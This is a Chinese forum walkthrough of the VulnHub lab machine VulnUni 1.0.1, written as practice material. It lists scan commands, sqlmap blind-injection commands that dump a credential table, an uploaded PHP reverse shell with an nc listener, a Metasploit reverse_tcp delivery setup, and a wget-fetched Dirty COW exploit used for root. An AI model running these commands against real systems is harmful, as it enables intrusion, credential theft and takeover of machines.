用户
搜索
  • TA的每日心情
    慵懒
    2020-5-16 20:22
  • 签到天数: 75 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    29

    主题

    194

    帖子

    1069

    魔法币
    收听
    0
    粉丝
    10
    注册时间
    2015-12-29

    幽默灌水王春秋游侠积极活跃奖限定版春秋段子手i春秋签约作者春秋文阁

    发表于 2020-4-23 15:39:42 21973

    前言

    靶机整体难度中等,没有特别绕的地方,比较适合有一定的基础的同学食用。
    靶机名称:VulnUni:1.0.1
    地址:http://www.vulnhub.com/entry/vulnuni-101,439/

    信息搜集

    导入靶机之后设置网络为NAT,默认是桥接。
    首先还是进入到kali中使用netdiscover扫描一下靶机的ip
    image.png
    使用 nmap -A 192.168.56.135 探测一下靶机开启的服务
    image.png
    浏览器打开看一下,平平无奇一个页面,看不出是什么CMS
    image.png
    简单浏览了下网页,没有特别明显的提示,也没有什么特别的功能,按照经验应该是有我们没发现的目录或者文件。
    所以使用dirb http://192.168.56.135爆破试试看能不能找到有用的文件或者目录啥的。
    image.png
    确实是扫到了一些目录和文件,但是都是一些资源文件,没有什么利用的空间。
    这就说明肯定是有一些藏得稍微有点深的目录或者文件我们没有发现。
    既然爆破没有办法找到我们想要的东西,那么隐藏的目录或文件就不是一些常用的名称了,所以我放弃了继续爆破的想法。
    在信息搜集过程中,对于一些比较隐蔽的目录和文件可能并不会在前端显示,但是它们有可能被某些功能调用。
    而Burpsuite的自动爬虫可以尽可能多的搜集这些路径,在Target中可以查看
    image.png
    通过爬虫我们发现了一个新的目录,打开看看
    image.png
    这里的关键点在这里
    image.png
    从这里可以看出CMS名字为GUnet,知道了CMS接下来就是到exploit-db看一下有没有公开的POC
    image.png
    有两个参数存在SQL注入,从这个uname大致可以看出应该是在登录的地方,所以还是在BurpSuite中抓取登录的POST包看一下有没有这个参数。
    image.png
    有uname参数就好办了,右键将登录的数据包保存为本地文本文件
    image.png
    用sqlmap先验证下sql注入是否存在
    python2 sqlmap.py -r d:/uname.txt -f
    image.png

    确认是存在一个时间盲注漏洞,接下来就是通过时间盲注列出数据库中表
    python2 sqlmap.py -r d:\uname.txt --dbs --batch
    image.png
    除了常规的mysql默认表之外,还有一个明显是项目的表,我们需要的账号和密码应该就是在这里面。
    使用python2 sqlmap.py -r d:\uname.txt -D eclass -T user -C password --dump --batch
    爆破出这些
    image.png
    逐个试了之后发现还真有一个是admin的密码

    uname:admin
    password:ilikecats89

    登录之后一阵翻,翻到了这个页面
    image.png
    这里很有可能就是我们的Shell上传点,所以我马上传了个Shell上去
    image.png
    本来以为会被拦截,但是并没有。
    上传后发现有一个提示,说是我们上传的文件正在被解压
    image.png
    将反弹shell的ip改为本机ip之后压缩,并上传。
    image.png
    上传成功
    image.png
    这里其实有个小问题,就是上传成功后并没有返回地址。
    但是不要慌,还记得我们刚开始的时候使用dirb扫过一次目录,其中有一个courses目录。
    不过那个courses是在根目录下的,属于另一个应用的资源文件目录,这个CMS会不会也有这个目录?
    image.png
    看到第二个目录其实我感觉就稳了,果不其然里面正放着解压后的反弹shell文件
    image.png
    还是在供给端先使用nc -lvvp 1234监听1234端口,然后访问php-reverse-shell.php
    成功得到Shell
    image.png

    提权

    还是先看下当前用户以及权限
    image.png
    我们同样可以使用metasploit建立shell
    metasploit的运行命令如下

    use exploit/multi/script/web_delivery
    set target 1
    use exploit/multi/script/web_delivery
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.56.130
    set srcport 4445
    run

    image.png
    注意这段话,意思是需要我们先在刚刚获取的shell中执行这段代码
    image.png
    执行完成后回到metasploit会发现已经成功建立通道
    image.png
    在这个shell中使用python -c 'import pty;pty.spawn("/bin/bash")'同样可以得到一个模拟终端。

    接下来可以得到我们的第一个flag
    image.png
    目前登录的账号并不是Root,所以应该是还有一个flag在root下。
    大概看了一下靶机的/etc/passwd文件权限还有Linux内核版本,感觉应该是符合脏牛提权的条件。
    因为我们现在登录的是www-data这个用户,权限很低,只有/tmp临时文件夹下才有写的权限。
    所以我们需要在/tmp目录下通过/weget的方式把exp加载进来
    在exploit-db找到exp
    image.png
    然后在kali中下载exp并更名
    wget http://www.exploit-db.com/download/40616 -O dirty.c
    image.png
    你问我为什么不在靶机中直接运行这条命令?因为没成功。。
    image.png

    所以还是在kali中用python的简易服务器比较顺畅
    python -m Simplehttperver 8000
    image.png

    靶机接收wget http://192.168.56.130:8000/dirty.c
    接收到文件之后运行

    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty 密码

    image.png
    然后它可能会卡死在这,所以我们需要提前准备另一个终端。
    使用su登录firefart账户,密码为我们刚才设置的那个pr1s0n
    image.png
    成功获取到最终的flag
    image.png

    总结

    使用到的技术:

    • discover
    • nmap的简单使用
    • dirb扫描文件目录
    • burpsuite基本模块的使用
    • sql注入基础知识以及sqlmap的简单使用
    • 经典提权方法
    牛逼 啥时候我也能盖上个印章
    使用道具 举报 回复
    发表于 2020-4-27 11:19:14

    牛逼 啥时候我也能盖上个印章
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册